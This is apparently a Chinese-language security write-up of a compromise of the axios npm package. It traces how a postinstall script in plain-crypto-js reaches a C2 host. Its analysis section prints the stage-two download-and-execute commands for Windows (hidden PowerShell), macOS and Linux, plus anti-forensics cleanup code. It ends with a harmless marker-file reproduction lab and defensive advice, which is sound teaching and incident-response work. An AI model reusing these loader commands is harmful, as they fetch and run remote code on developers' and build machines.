axios-供应链投毒事件:安装即刻触发
字数 4039
更新时间 2026-04-03 12:17:59

Axios供应链投毒事件分析与复现教学文档

事件概述

事件名称:Axios供应链投毒攻击
发生时间:2026年3月31日
影响范围:JavaScript HTTP客户端库Axios的两个版本(1.14.1和0.30.4)
攻击性质:供应链投毒,安装时触发恶意代码执行
攻击目标:通过恶意npm包在开发者本地环境、CI/CD构建服务器中植入后门

一、攻击技术细节解析

1.1 攻击入口与传播机制

  • 攻击载体:npm官方仓库中的恶意版本
    • axios@1.14.1
    • axios@0.30.4
  • 攻击特征:运行时代码未修改,仅修改包清单文件
  • 触发条件:安装时自动执行postinstall脚本
  • 下载量背景:Axios每周下载量超1亿次,年下载量超36亿次,攻击影响面极广

1.2 技术实现原理

1.2.1 恶意依赖注入

攻击者在axios的package.json中注入恶意依赖项:

{
  "dependencies": {
    "plain-crypto-js": "^4.2.1"
  }
}

对比分析

  • 正常版本(axios@1.14.0/0.30.3):无plain-crypto-js依赖
  • 恶意版本(axios@1.14.1/0.30.4):新增对plain-crypto-js@^4.2.1的依赖

1.2.2 攻击链流程

完整的攻击执行链路如下:

npm install axios@1.14.1/0.30.4
        ↓
自动安装 plain-crypto-js@4.2.1
        ↓
执行 plain-crypto-js 的 postinstall 脚本
        ↓
Node.js 运行 setup.js
        ↓
按操作系统平台拉取二阶段载荷
        ↓
执行平台特定的远程代码

1.3 恶意载荷分析

1.3.1 核心恶意包:plain-crypto-js@4.2.1

恶意包的package.json包含以下关键配置:

{
  "scripts": {
    "postinstall": "node setup.js"
  }
}

1.3.2 setup.js 混淆技术

setup.js采用多层混淆防护:

  1. 第一层混淆:字符串压缩为单行
  2. 第二层解码_trans_2函数
    • 反转字符串
    • 替换下划线为等号
    • Base64解码
  3. 第三层解码_trans_1函数
    • 对解码结果进行异或处理
  4. 最终执行_entry("6202033")

解码后获取C2服务器地址:http://sfrclak.com:8000/6202033

1.3.3 关键字符串信息

解码获得的核心字符串包括:

  • 平台标识:win32darwinlinux
  • Node.js模块:child_processosfs
  • 文件扩展名:.ps1.vbs.py
  • 平台特定标识符:
    • packages.npm.org/product0(macOS)
    • packages.npm.org/product1(Windows)
    • packages.npm.org/product2(Linux)

二、多平台攻击链分析

2.1 Windows平台攻击链

攻击流程

执行恶意脚本 → 生成VBS文件 → 隐藏执行PowerShell → 下载并执行RAT

技术细节

  1. PowerShell定位:通过where powershell命令查找PowerShell路径
  2. 文件伪装:将PowerShell复制为%PROGRAMDATA%\wt.exe
  3. VBS脚本生成:在%TEMP%目录创建6202033.vbs
  4. 隐蔽执行
    objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""C2_URL"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""C2_URL"" & del ""PS_PATH"" /f", 0, False
    
  5. 反检测技术
    • -w hidden:隐藏PowerShell窗口
    • -ep bypass:绕过执行策略限制
    • 立即删除临时脚本文件

2.2 macOS平台攻击链

攻击流程

AppleScript脚本 → 下载macOS二进制 → 后台静默执行

技术细节

  1. AppleScript内容
set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c "" & d & " " & s & " &" &> /dev/null"
  1. 路径伪装:使用/Library/Caches/com.apple.act.mond模拟系统缓存文件
  2. 权限设置chmod 770赋予执行权限
  3. 后台执行nohup osascript将AppleScript放入后台执行

2.3 Linux平台攻击链

攻击流程

curl下载Python脚本 → nohup后台执行

技术细节

  1. 单行命令执行
curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &
  1. 目标环境:主要针对CI/CD构建环境
  2. 持久化机制:Python脚本在/tmp目录创建,通过nohup保持后台运行

三、反取证与隐蔽技术

3.1 攻击链隐蔽性设计

  1. 安装阶段触发

    • 普通用户认为安装过程是安全的
    • CI/CD流水线自动安装依赖时难以察觉
  2. 主代码完整性

    • axios的dist/axios.jsdist/axios.min.jsindex.js文件哈希值未变
    • 安全人员通过代码对比难以发现异常
  3. 依赖包伪装

    • plain-crypto-js包含真实的加密库代码
    • README和homepage页面模仿正常开源项目

3.2 主动反取证机制

setup.js执行完毕后执行以下清理操作:

// 1. 删除自身脚本
t.unlink(__filename, ...);

// 2. 删除恶意package.json
t.unlink("package.json", ...);

// 3. 恢复为正常package.json
t.rename("package.md", "package.json", ...);

清理效果

  • 删除所有恶意代码痕迹
  • 将恶意package.json替换为干净的4.2.0版本清单
  • 事后检查node_modules/plain-crypto-js目录显示正常

四、事件时间线梳理

时间(UTC) 事件描述 北京时间
2026-03-27 19:01 axios@1.14.0正常发布 2026-03-28 03:01
2026-03-30 05:57 plain-crypto-js@4.2.0发布 2026-03-30 13:57
2026-03-30 23:59 plain-crypto-js@4.2.1恶意版本发布 2026-03-31 07:59
2026-03-31 00:21 axios@1.14.1恶意版本发布 2026-03-31 08:21
2026-03-31 01:00 axios@0.30.4恶意版本发布 2026-03-31 09:00
2026-03-31 03:15 恶意版本从npm下架 2026-03-31 11:15
2026-03-31 03:25 plain-crypto-js被安全冻结 2026-03-31 11:25
2026-03-31 04:26 安全占位包发布 2026-03-31 12:26

五、本地环境模拟复现

5.1 实验环境搭建

创建以下目录结构和文件模拟攻击场景:

5.1.1 安全基线包(axios-good-sim)

package.json

{
  "name": "axios-good-sim",
  "version": "1.14.0-demo",
  "description": "Safe baseline package for the axios supply-chain reproduction lab.",
  "main": "index.js",
  "license": "UNLICENSED"
}

index.js

"use strict";
module.exports = function demoRequestClient() {
  return "safe-baseline-package";
};

5.1.2 恶意模拟包(axios-bad-sim)

package.json

{
  "name": "axios-bad-sim",
  "version": "1.14.1-demo",
  "description": "Safe poisoned-package simulation for the axios supply-chain reproduction lab.",
  "main": "index.js",
  "license": "UNLICENSED",
  "dependencies": {
    "trigger-dep-demo": "file:../trigger-dep-demo"
  }
}

5.1.3 触发依赖包(trigger-dep-demo)

package.json

{
  "name": "trigger-dep-demo",
  "version": "1.0.0",
  "description": "Safe demonstration dependency that writes a local marker during postinstall.",
  "main": "index.js",
  "scripts": {
    "postinstall": "node setup.js"
  },
  "license": "UNLICENSED"
}

setup.js(安全演示版本):

"use strict";
const fs = require("fs");
const path = require("path");

const initCwd = process.env.INIT_CWD || process.cwd();
const outputDir = path.join(initCwd, "repro-output");
const markerPath = path.join(outputDir, "POSTINSTALL_TRIGGERED.txt");

fs.mkdirSync(outputDir, { recursive: true });

const lines = [
  "safe demo marker",
  "This file proves that an npm lifecycle script ran during installation.",
  `time=${new Date().toISOString()}`,
  `package=trigger-dep-demo@1.0.0`,
  `init_cwd=${initCwd}`,
  `script_cwd=${process.cwd()}`
];

fs.writeFileSync(markerPath, `${lines.join("\n")}\n`, "utf8");

console.log("[trigger-dep-demo] Safe postinstall executed.");
console.log(`[trigger-dep-demo] Marker written to: ${markerPath}`);

5.1.4 受害者项目

创建三个测试目录:

  • victim-normal:安装安全包
  • victim-bad:安装恶意包
  • victim-ignore:安装恶意包但忽略脚本

5.2 模拟安装脚本(simulate-install.js)

核心功能实现:

// 参数解析
const [, , victimName, packageName, ...rest] = process.argv;
const ignoreScripts = rest.includes("--ignore-scripts");

// 依赖解析函数
function installPackage(sourceDir, targetNodeModules, options) {
  const manifestPath = path.join(sourceDir, "package.json");
  const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
  
  // 复制主包
  copyPackageContents(sourceDir, targetPackageDir);
  
  // 递归安装依赖
  const dependencies = manifest.dependencies || {};
  for (const spec of Object.values(dependencies)) {
    installPackage(dependencySourceDir, nestedNodeModules, options);
  }
  
  // 条件执行postinstall脚本
  if (!options.ignoreScripts && manifest.scripts && manifest.scripts.postinstall) {
    runPostinstall(targetDir, manifest.scripts.postinstall, options);
  }
}

5.3 演示脚本(run-demo.cmd)

Windows批处理脚本,自动化测试流程:

@echo off
setlocal

:: 清理测试目录
call :reset "%ROOT%victim-normal"
call :reset "%ROOT%victim-bad"
call :reset "%ROOT%victim-ignore"

:: 测试1:安装安全包
echo [1/3] Simulating baseline package install into victim-normal
node "%ROOT%simulate-install.js" victim-normal axios-good-sim

:: 测试2:安装恶意包
echo [2/3] Simulating poisoned package install into victim-bad
node "%ROOT%simulate-install.js" victim-bad axios-bad-sim

:: 测试3:安装恶意包但忽略脚本
echo [3/3] Simulating poisoned install with --ignore-scripts into victim-ignore
node "%ROOT%simulate-install.js" victim-ignore axios-bad-sim --ignore-scripts

:: 验证结果
echo [Result] Expected: only victim-bad should contain the marker
if exist "%BAD_MARKER%" (
  echo [OK] victim-bad marker created: %BAD_MARKER%
) else (
  echo [WARN] victim-bad marker missing
  set "FAIL=1"
)

5.4 预期测试结果

  1. victim-normal:安装安全包,无postinstall触发,无标记文件
  2. victim-bad:安装恶意包,触发postinstall,创建标记文件
  3. victim-ignore:使用--ignore-scripts标志,postinstall被阻止,无标记文件

六、防御与检测建议

6.1 预防措施

  1. 使用--ignore-scripts标志

    npm install --ignore-scripts
    npm ci --ignore-scripts
    
  2. 配置npm全局设置

    npm config set ignore-scripts true
    
  3. 锁定依赖版本

    • 使用package-lock.jsonyarn.lock
    • 定期检查依赖更新
    • 使用npm audit检查安全漏洞
  4. 实施供应链安全策略

    • 使用私有镜像仓库
    • 实施依赖审查流程
    • 对关键依赖进行代码审计

6.2 检测方法

  1. 包完整性验证

    # 检查package.json变化
    npm diff axios@1.14.0 axios@1.14.1
    
    # 检查文件哈希
    shasum node_modules/axios/dist/axios.js
    
  2. 监控安装过程

    • 监控网络请求到非常规域名
    • 检查异常进程创建
    • 监控临时目录文件创建
  3. 自动化检测工具

    • 使用npm audit
    • 集成安全扫描工具(Snyk, WhiteSource等)
    • 实现CI/CD流水线安全检查

6.3 应急响应步骤

  1. 立即措施

    • 移除受影响版本的axios
    • 检查系统是否有异常进程
    • 扫描网络连接
  2. 调查分析

    • 检查node_modules/plain-crypto-js目录
    • 查看系统日志
    • 分析网络流量
  3. 恢复措施

    • 清理受感染系统
    • 更新为安全版本
    • 轮换可能泄露的凭证

七、技术总结与启示

7.1 攻击技术特点

  1. 供应链精准打击:针对高下载量的流行库
  2. 隐蔽性强:不修改运行时代码,仅修改包清单
  3. 多平台适配:针对Windows、macOS、Linux分别设计攻击链
  4. 反取证设计:自动清理痕迹,恢复为正常包外观
  5. 利用信任链:利用npm官方仓库和开发者对安装过程的信任

7.2 安全教训

  1. 安装过程不再安全npm install可能执行任意代码
  2. 依赖审计重要性:需要审查所有依赖,包括间接依赖
  3. CI/CD环境风险:构建服务器成为攻击目标
  4. 包管理器安全机制不足:需要额外安全控制

7.3 最佳实践建议

  1. 开发环境

    • 使用--ignore-scripts作为默认安装选项
    • 实施最小权限原则
    • 定期更新依赖并检查变更
  2. 生产环境

    • 使用经过审查的依赖版本
    • 实施代码签名验证
    • 建立软件物料清单(SBOM)
  3. 组织层面

    • 建立供应链安全策略
    • 实施持续安全监控
    • 制定应急响应计划

参考资料

  • 原始安全分析报告:https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
  • npm安全通告:相关安全公告
  • 代码仓库:相关GitHub issue和修复记录

注意:本教学文档仅用于安全研究和教育目的,任何技术都应在合法授权范围内使用。供应链安全是共同责任,需要开发者、维护者和平台方共同努力维护。

相似文章
相似文章
 全屏